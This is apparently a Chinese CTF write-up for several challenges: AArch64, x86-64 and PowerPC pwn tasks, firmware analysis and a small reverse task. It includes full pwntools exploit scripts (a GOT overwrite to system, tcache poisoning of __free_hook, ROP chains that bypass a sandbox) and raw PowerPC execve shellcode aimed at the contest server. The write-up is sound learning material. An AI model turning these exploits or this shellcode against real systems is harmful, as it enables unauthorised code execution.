Pwn

emarm

基本情况

Aarch64 题目没有打开 pie 。程序存在一个任意地址写入:

image-20210203163013826

随机数验证输入 \x00 绕过。

远程是用 qemu 部署,地址不随机。第一次泄露地址,第二次 getshell 。

利用任意地址写,将 atoi got 改为 printf ,在 main 函数控制 atoi 参数实现格式化字符串泄露出栈上 got 表信息。

image-20210203163610628

第二次就讲 atoi 修改为 system 参数为 /bin/sh\x00

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import sys
context.log_level = "debug"
context.binary = "emarm"

if sys.argv[1] == "r":
p = remote("183.129.189.60", 10012)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "./emarm"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", ".", "./emarm"])

elf = ELF("emarm")
libc = ELF("./lib/libc.so.6")

p.recvuntil("passwd:")
p.sendline("\x00")
p.send(str(elf.got['atoi']))
p.recvuntil("you will success")
p.send(p64(elf.plt['printf']))
p.recvuntil("i leave for you bye")
p.send("%9$p")
p.recvuntil("0x")

leak_addr = int(p.recv(10),16)
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr-0x206e0
log.info("libc_base:"+hex(libc_base))

if sys.argv[1] == "r":
p = remote("183.129.189.60", 10012)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "./emarm"])

p.recvuntil("passwd:")
p.sendline("\x00")
p.send(str(elf.got['atoi']))
p.recvuntil("you will success")
p.send(p64(libc.symbols['system']+libc_base))
p.recvuntil("i leave for you bye")
p.send("sh\x00")
p.interactive()

flag{33c34e317026a39feeea14fdd97fa846}

ememarm

基本情况

Aarch64 堆题目,libc 是 2.27 ,输出功能是个摆设。能可以 malloc 0x20 & 0x30 。

程序一开始 malloc 0x20 那个堆块相当于是个链头, 0x20 和 0x30 堆内结构体如下:

1
2
3
4
5
6
7
struct{
x;//8bit
y;//8bit
null;//8bit
next_ptr;//8bit
……
}

这个 next_ptr 是下一个堆块的地址,通过这个属性构成一个链表。malloc 堆块是否加入链表是看申请完那个 do you want delete 选择。

edit 的时候溢出一个 \x00

image-20210203220521033

思路

利用溢出,释放一个 fake_chunk 。将两个 0x30 堆分别布置到 0x4132e0 和 0x413320 ,都加入链表。前一个堆被溢出后执行自身的 fd_nextsize 位置,同时这个位置被视为 0x20 堆块放入 tcachebin 。利用 edit 修改 tcachebin fd 实现 house of sprit

image-20210203220806048

由于题目给的 libc 文件没有 debug 信息,所以 gdb 的 heap 和 bin 指令是不能用的。heap 指令用直接查地址代替,地址可以在 vmmap 看。tcache bin 可以查 heap 分段开始 0x250 的结构体。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
import sys
context.binary = "ememarm"
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote('183.129.189.60', 10034)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "ememarm"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", ".", "ememarm"])

elf = ELF("ememarm")
libc = ELF("./lib/libc.so.6")

def add_1(x, y, add):
p.sendlineafter('choice:', '1')
p.sendafter('cx:', x)
p.sendafter('cy:', y)
p.sendlineafter('delete?', str(add))


def add_2(x, y, add):
p.sendlineafter('choice:', '4')
p.sendafter('cx:', x)
p.sendafter('cy:', y)
p.sendlineafter('delete?', str(add))


def edit(pos, content):
p.sendlineafter('choice: \n', '3')
sleep(1)
p.sendline(str(pos))
sleep(1)
p.send(content)

p.recvuntil("~~")
bss_addr = int(p.recvuntil('\n',drop=1))
log.info("bss_addr:"+hex(bss_addr))
p.sendline('')

# prt=0x413250
add_1('a','a',0)
add_1('b','b',0)
add_2('c','c',1)
add_2('d','d',1)
edit(1, flat(0, 0x31, 0))#free fake_chunk
edit(1, flat(0, 0x31, elf.got['free']-8))# overwrite tcache fd

add_1('\x00', '\x00', 0)
# allocate chunk in got
add_1(p8(0x40), p64(elf.plt['puts']), 1)
edit(1, '\x00')

puts_addr=u64(p.recvuntil('\n',drop=True)[-3:].ljust(8,'\x00'))+0x4000000000
log.info("puts_addr:"+hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
log.info('libc_base:'+hex(libc_base)) # 0x400086f2c8

p.close()
if sys.argv[1] == "r":
p = remote('183.129.189.60', 10034)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", ".", "ememarm"])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", ".", "ememarm"])

p.sendlineafter("~~",'')
add_1('a','a',0)
add_1('b','b',0)
add_2('c','c',1)
add_2('d','d',1)
edit(1, flat(0, 0x31, 0))#free fake_chunk
edit(1, flat(0, 0x31, libc_base+libc.sym['__free_hook']))# overwrite tcache fd

add_1('/bin/sh\x00', '\x00', 1)
# allocate chunk in got
add_1(p64(libc_base+libc.sym['system']),'\x00', 1)
edit(1, '\x00')

p.interactive()

flag{1f16c67b554e9e75300f37e9f08d0aa4}

justcode

基本情况

Amd64 开启沙盒禁用 execve

直接审代码就 name 写入时能够溢出修改 canary :

image-20210204152423664

因为没有置零栈区再使用,在写入 name 时可以泄露出站上的 libc 地址:

image-20210204153422944

另外一个问题得细心调试才观察出来,也是因为栈上的数据没有经过置零后再使用,导致在输入 name 时,可以控制 sub_400CCA() 的写入地址 v1 ,实现任意地址写

image-20210204153028209

image-20210204153736391

思路

sub_400C47() 泄露出 libc 地址;sub_400C47() 写入目标地址,sub_400CCA() 向目标地址写入值,修改 exit 为 main 突破操作 4 次的限制;

将 rop 利用链通过 name 写入栈上,将 strdup 劫持为 gadget add rsp 8;ret ,将程序流 hijack 到栈上。也可以控制寄存器用 sub_400CCA() scanf 往 bss 写入利用链,控制 rbp、rip 栈迁移。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.binary="justcode"
context.log_level="debug"

# p = process("./justcode")
p = remote("183.129.189.60",10041)
elf = ELF("./justcode")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil(":\n")
p.sendline("1")
p.sendline("1")
p.sendline("2")
p.sendline("3")
#1 leak libc
payload = 'a'*8
p.recvuntil(":\n")
p.sendline(payload)
p.recvuntil(payload)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x7b60a
log.info("libc_base:"+hex(libc_base))
#1 write v1 addr
p.recvuntil(":\n")
p.send('a'*12+p64(elf.got['exit']))
#2 overwrite exit
p.recvuntil("id:\n")
p.sendline(str(0x400D4B))
p.sendline("b")

bss_addr=elf.bss()
main_addr=0x400D76
rop_addr=0x6020e0
pop_rdi_ret=0x21112+libc_base
pop_rsi_ret=0x202f8+libc_base
pop_rdx_ret=0x1b92+libc_base
add_rsp8_ret=0x35142+libc_base

p.recvuntil("code:\n")
p.sendline("1")
p.sendline("3")
p.sendline("3")
p.sendline("3")

#1 leak stack addr
payload = 'a'*0x27
p.recvuntil(":\n")
p.sendline(payload)
p.recvuntil(payload+'\n')
main_ret_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_ret_addr:"+hex(main_ret_addr))
flag_addr=main_ret_addr-0x80-0x28#0x9e

# gdb.attach(p)
# open(&flag,0,0)
rop=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(libc_base+libc.sym['open'])
# read(3,bss_addr,0x40)
rop+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret)+p64(0x40)+p64(elf.plt['read'])
# puts(bss_addr)
rop+=p64(pop_rdi_ret)+p64(bss_addr)+p64(elf.plt['puts'])+'./flag\x00'

p.recvuntil("code:\n")
p.sendline("1")
p.sendline("2")
p.sendline("1")
p.sendline("3")

#1 write v1 addr
p.recvuntil(":\n")
p.send('a'*12+p64(elf.got['strdup']))
#2 overwrite strdup
p.recvuntil("id:\n")
p.sendline(str(add_rsp8_ret&0xffffffff))
p.sendline("a")
#1 write rop & getshell
p.recvuntil("name:\n")
p.send(rop)

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

#sh = process("./justcode")
sh = remote("183.129.189.60",10041)
elf = ELF("justcode")
libc = ELF("libc.so")
sh.recvuntil("code:")
main = 0x400D4B
sh.sendline("1")
sh.sendline("1")
sh.sendline("2")
sh.sendline("3")

sh.send('a'*8)
sh.recvuntil("check it : aaaaaaaa")
addr = u64(sh.recvuntil("\n",drop=True).ljust(8,'\x00'))
print 'addr:'+hex(addr)
libc_base = addr - 0x7b61e
print 'libc_base:'+hex(libc_base)
sh.recvuntil("name:")
sh.send("a"*0xc+p64(elf.got['exit']))
sh.recvuntil("id:")
sh.sendline(str(main))
sh.recvuntil("info:")
sh.sendline("a")

rdi_ret = 0x0000000000021112+libc_base
rsi_ret = 0x00000000000202f8+libc_base
rdx_ret = 0x0000000000001b92+libc_base
rbp_ret = 0x000000000001f930+libc_base
rdx_rsi_ret = 0x0000000000115189+libc_base
leave_ret = 0x0000000000042361+libc_base
sh.recvuntil("code:")
sh.sendline("1")
sh.sendline("2")
sh.sendline("3")
sh.sendline("3")
payload = "z"*0xc+p64(elf.got['exit'])
sh.sendline(payload)
sh.recvuntil("id:")
sh.sendline(str(0x400CF6))
sh.recvuntil("info:")
sh.sendline("a")

sh.recvuntil("no check")

payload = 'a'*0x21
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rdx_rsi_ret)
payload += p64(0x200)
payload += p64(0x6020A0+0x200)
payload += p64(libc.symbols['read']+libc_base)
payload += p64(rbp_ret)
payload += p64(0x6020A0+0x200)
payload += p64(leave_ret)
sh.send(payload)



payload = './flag\x00\x00'

payload += p64(rdi_ret)
payload += p64(0x6020A0+0x200)
payload += p64(rsi_ret)
payload += p64(0)
payload += p64(libc.symbols['open']+libc_base)
payload += p64(rdi_ret)
payload += p64(3)
payload += p64(rsi_ret)
payload += p64(0x6020A0+0x300)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(libc.symbols['read']+libc_base)
payload += p64(rdi_ret)
payload += p64(1)
payload += p64(rsi_ret)
payload += p64(0x6020A0+0x300)
payload += p64(rdx_ret)
payload += p64(0x30)
payload += p64(libc.symbols['write']+libc_base)

sh.sendline(payload)
sh.interactive()

flag{f79047efe49d10a8001c5791c34f0dbb}

固件安全

NodeMCU

妙用strings固件分析 strings nodemcu.bin :

image-20210202220817250

flag{6808dcf0-526e-11eb-92de-acde48001122}

STM

解压得到 .bin 后缀文件,推测应该是 STM 固件分析题目。一番学习后,bin 文件可以转换为 hex 文件再丢 ida 里面分析,当然也可以直接丢 bin 文件分析,两者差别在加载是是否需要手动调加载地址。实际上 hex 文件自动加载地址是从 0x0 开始,也是不对,所以还是直接丢 bin 文件分析。

Ida32 打开,文件加载选项如下图:

image-20210202202209959

image-20210202211323645

按照上图设置完成后,一路 ok 返回加载 bin 文件,这是会有一个弹窗设置 ram rom 的地址,如果加载的是 hex 则没有这个窗口:

RAM start address:ram 起始地址,stm32 是0x20000000

RAM size:ram 长度, 64kb 内存是 0x10000

ROM start address:rom 起始地址,一般是 0x08000000 ,一开始是 0x08000101 加载出来不正确。

ROM size:rom 长度

Loading address:rom 装载地址

在文件开头疯狂按 d 调整数据格式,显示出程序入口 0x8000101

image-20210202222511538

跳转过去之后在 0x8000100 处点 c 声明函数,程序结构就出来。字符串定位出 main 函数,大概看了下发现不用管,直接看另外一个字符串被调用的函数就是字符串的解密函数:

image-20210202222844241

解密函数如下图,还有一些 sub 是取了符号表的功能函数:

image-20210202222859986

EXP

1
2
3
4
5
6
7
enc = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40, 
0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30,
0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x34, 0x33,
0x33, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28,
0x2E, 0x64]
for word in enc:
print(chr((word^0x1e)+3),end='')

flag{1749ac10-5389-11eb-90c1-001c427bd493}

PPPPPPC

PowerPC栈溢出初探:从放弃到getshell

Powerpc 32 位大端序,保护全关。比较明显的栈溢出:

image-20210204223601083

cycli 生成字符串从报错信息中得知 padding 需要 0x13c 字节。

一开始是想用 bss 区的 shellcode ,因为地址已知,直接覆盖跳转,但是遇到问题是 strcpy 会遇到 \x00 截断,而 shellcode 中将 r0 设置为 11 时高位必定为 0x00,sc 指令中间也是有 0x00 。

由于 qemu 不随机化,本地调试观察报错信息,发现会将各个寄存器值以及一些应该是栈信息:

image-20210204230502810

这个地址是栈上地址,然后调试观察 shellcode 写入地址距离,计算出 shellocode 在栈上的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#encoding:utf-8
from pwn import *
import sys
context.binary = "PPPPPPC"
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("183.129.189.60", 10039)
elif sys.argv[1] == "l":
p = process(["./qemu-ppc-static", "PPPPPPC"])
else:
p = process(["./qemu-ppc-static", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "PPPPPPC"])

elf = ELF("PPPPPPC")

cycli = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaai"

shellcode = "\x7c\x3f\x0b\x78" #/*mr r31,r1*/
shellcode +="\x7c\xa5\x2a\x79" #/*xor. r5,r5,r5*/
shellcode +="\x42\x40\xff\xf9" #/*bdzl+ 10000454< main>*/
shellcode +="\x7f\x08\x02\xa6" #/*mflr r24*/
shellcode +="\x3b\x18\x01\x34" #/*addi r24,r24,308*/
shellcode +="\x98\xb8\xfe\xfb" #/*stb r5,-261(r24)*/
shellcode +="\x38\x78\xfe\xf4" #/*addi r3,r24,-268*/
shellcode +="\x90\x61\xff\xf8" #/*stw r3,-8(r1)*/
shellcode +="\x38\x81\xff\xf8" #/*addi r4,r1,-8*/
shellcode +="\x90\xa1\xff\xfc" #/*stw r5,-4(r1)*/
shellcode +="\x3b\xc0\x01\x60" #/*li r30,352*/
shellcode +="\x7f\xc0\x2e\x70" #/*srawi r0,r30,5*/
shellcode +="\x44\xde\xad\xf2" #/*.long 0x44deadf2*/
shellcode +="/bin/shZ"

payload = shellcode.ljust(0x140-4,'a')
payload += p32(0xf6fffab8)

p.recvuntil(": ")
#p.send(cycli)
p.sendline(payload)

p.interactive()

Reverse

decryption

打开 ida 分析算法:将明文加上下标序号后异或 0x23

image-20210202232310980

EXP

1
2
3
4
5
6
enc = [  0x12, 0x45, 0x10, 0x47, 0x19, 0x49, 0x49, 0x49, 0x1A, 0x4F, 
0x1C, 0x1E, 0x52, 0x66, 0x1D, 0x52, 0x66, 0x67, 0x68, 0x67,
0x65, 0x6F, 0x5F, 0x59, 0x58, 0x5E, 0x6D, 0x70, 0xA1, 0x6E,
0x70, 0xA3]
for i in range(len(enc)):
print(chr((enc[i]^0x23)-i),end='')

1e1a6edc1c52e80b539127fccd48f05a

查阅资料

[使用 ida 逆向分析 stm32 的 bin 固件文件](